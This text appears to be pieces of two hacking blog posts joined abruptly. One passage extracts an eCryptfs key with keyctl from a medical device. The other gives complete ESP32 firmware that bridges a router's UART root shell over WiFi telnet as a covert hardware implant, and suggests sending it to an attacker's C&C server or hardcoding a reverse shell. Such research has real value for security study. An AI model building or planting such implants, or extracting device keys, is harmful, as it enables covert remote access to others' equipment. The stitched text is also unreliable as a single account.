The file “/home/root/.ecryptfs/sig-cache.txt” contains “d3dc25a49f392a16”. This has to do with the encrypted folders on the SD card and shows they are encrypted with eCryptfs (a stacked filesystem for Linux).

Lets get that key!

root@Vega1:/home/medtronic# keyctl show
Session Keyring
       -3 --alswrv      0     0  keyring: _ses
       
root@Vega1:/home/medtronic# keyctl list @us
1 key in keyring:
337948780: --alswrv     0    -1 keyring: _uid.0

root@Vega1:/home/medtronic# keyctl list @s
keyring is empty

root@Vega1:/home/medtronic# keyctl list 337948780
1 key in keyring:
537071990: --alswrv     0     0 user: d3dc25a49f392a16

root@Vega1:/home/medtronic# keyctl describe 537071990
537071990: als-rvalswrv------------     0     0 user: d3dc25a49f392a16

root@Vega1:/home/medtronic# keyctl read 537071990
740 bytes of data in key:
04000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 0a000000 00000000
40000000 02000000 83f76744 ade8641a 8e3a3385 c8498324 46f2babd 5772bb44
43e99124 743abf61 927eee05 1a90db98 14426bc1 b004644d 4124a072 89fe8808
b517ca8f 744319ec 64336463 32356134 39663339 32613136 00001122 33445566
77000000

Lets double check the encrypted file systems:

root@Vega1:/home/medtronic# mount | grep ecryptfs
/data on /data type ecryptfs (rw,relatime,ecryptfs_fnek_sig=d3dc25a49f392a16,ecryptfs_sig=d3dc25a49f392a16,ecryptfs_cipher=aes,
    ecryptfs_key_bytes=16,ecryptfs_passthrough,ecryptfs_unlink_sigs)
/opt on /opt type ecryptfs (rw,relatime,ecryptfs_fnek_sig=d3dc25a49f392a16,ecryptfs_sig=d3dc25a49f392a16,ecryptfs_cipher=aes,
    ecryptfs_key_bytes=16,ecryptfs_passthrough,ecryptfs_unlink_sigs)

With that you can now mount the file systems on your own linux host.

Future plans

This blog is getting long, but at least shows a starting point, and overview of the device and how to get root. Next steps would be reversing the apps, specifically the ones automatically started that seem custom to the device. A deep dive into the OS to look for hard coded keys or backdoors (busybox is notorious for these). It would be good to see how it communicates to the handset (I suspect via bluetooth and use the 4g dongle to talk to the backend – this needs confirming though). The handset also needs reversing as that is a separate device with it’s own processor etc.

Overall this has been fun, and I hope you have enjoyed this and learnt something.

I quickly decided these would make an awesome little hardware backdoor/implant, and it just so happens I have a little device I’ve been messing with for a while now.

So far in Pt.1 and 2 we have:

• Identified debug ports on the router’s PCB
• Connected to UART to get a root shell
• Added external headers to easily access the UART
• Identified GPIO on the PCB
• Added a “backdoor” via the GPIO by flashing the password in morse using an LED

The plan was to squash the ESP32 in the router’s case, leech off of the devices power and interface with the already discovered UART. I would access this from the ESP32’s onboard wifi in AP mode.

It was easy to find the pins needed to interface with UART and give it power.

So it requires 5v to run, I probed around the router’s PCB until I found a 5v source

It was fairly easy to wire up using a PCB using the previous UART headers added and the new 5v source.

I found a webserver library and modified the example code to send and receive to the UART

/*
  WebSerialLite Demo AP
  ------
  This example code works for both ESP8266 & ESP32 Microcontrollers
  WebSerial is accessible at 192.168.4.1/webserial URL.

  Author: HomeboyC
*/
#include <Arduino.h>
#if defined(ESP8266)
  #include <ESP8266WiFi.h>
  #include <ESPAsyncTCP.h>
#elif defined(ESP32)
  #include <WiFi.h>
  #include <AsyncTCP.h>
#endif
#include <ESPAsyncWebServer.h>
#include <WebSerialLite.h>

AsyncWebServer server(80);

const char* ssid = "uartbackdoor"; // Your WiFi AP SSID 
const char* password = "uartbackdoor"; // Your WiFi Password


/* Message callback of WebSerial */
void recvMsg(uint8_t *data, size_t len){
  WebSerial.println("Received Data...");
  String d = "";
  for(int i=0; i < len; i++){
    d += char(data[i]);
  }
  Serial1.println(d);
  WebSerial.println(d);
}

void setup() {
    Serial.begin(9600);
    Serial1.begin(115200,SERIAL_8N1, 4,5); //int8_t rxPin=4, int8_t txPin=5 
    WiFi.softAP(ssid, password);

    IPAddress IP = WiFi.softAPIP();
    Serial.print("AP IP address: ");
    Serial.println(IP);
    // WebSerial is accessible at "<IP Address>/webserial" in browser
    WebSerial.begin(&server);
    /* Attach Message Callback */
    WebSerial.onMessage(recvMsg);
    server.begin();
}

void loop() {

  if (Serial1.available()) {
    char receivedData[2]; // Assuming the received data is a single character
    receivedData[0] = Serial1.read();
    receivedData[1] = '\0'; // Null-terminate the string
    WebSerial.printf("%s", receivedData); // Print the string
  }
    
}

On my phone I connected to the wifi access point running on the ESP32 and browse to the webserver endpoint:

It works, but wow that’s ugly. So I decided to scrap the webserver idea and instead run a telnet server that can be connected to through putty or any other means. I don’t want to re-invent the wheel and figured someone must have done this before… turns out they had, with some minor modification the new code became:

#include <WiFi.h>

const char* ssid = "uartbackdoor"; // Your WiFi AP SSID 
const char* password = "uartbackdoor"; // Your WiFi Password

WiFiServer Server(23);
WiFiClient Client;

void setup() {
  int8_t i;
  
  Serial.begin(115200);
  Serial1.begin(115200,SERIAL_8N1, 4,5); //int8_t rxPin=4, int8_t txPin=5 
  Serial.print("\nSetting up Access Point...");
  
  // Configure Access Point
  WiFi.softAP(ssid, password);
  
  Serial.println(" Access Point set up.\nLocal IP address: " + WiFi.softAPIP().toString());
  
  Server.begin();
  Server.setNoDelay(true);
  Serial.print("Ready! Use port 23 to connect.");
}

void loop() {
  delay(200);
  
  if (Server.hasClient()) {
    Client = Server.available();
    if (!Client) Serial.println("available broken");
    Serial.print("New client: ");
    Serial.println(Client.remoteIP());
  }

  if (Client && Client.connected()) {
    if (Client.available()) {
      while (Client.available()) {
        Serial1.write(Client.read());
      }
    }
  } else if (Client) {
    Client.stop();
  }

  if (Serial1.available()) {
    size_t len = Serial1.available();
    char sbuf[len];
    Serial1.readBytes(sbuf, len);
    if (Client && Client.connected()) {
      Client.write(sbuf, len);
    }
  }
}

lets connect to it’s wifi and see if it works:

OK that looks a lot better! after playing around running some commands it works brilliantly.
To finish up I flashed the firmware onto an ESP32 without headers and soldered it to the router’s PCB. This was then all squashed back into the router case and no-one would be any the wiser!

Conclusion

Overall this was a fun proof-of-concept but ultimately a terrible backdoor. It requires the attacker to be within range of the ESP32’s wifi (fairly short distance) and is incredibly obvious since the user will be looking for available networks anyway to find the router’s name.

It could be improved by having the ESP32 in client mode connect to a known network (possibly the attackers mobile in hotspot mode). A better idea would be having the ESP32 pull the wireless details from the router via UART then in client mode connect to the router’s wifi and send the UART over the internet to an attackers C&C server.

Even if these improvements were made if anyone looked in the device it would be obvious that something was wrong, a stealthier backdoor would be hardcoding a reverse shell in the router’s software.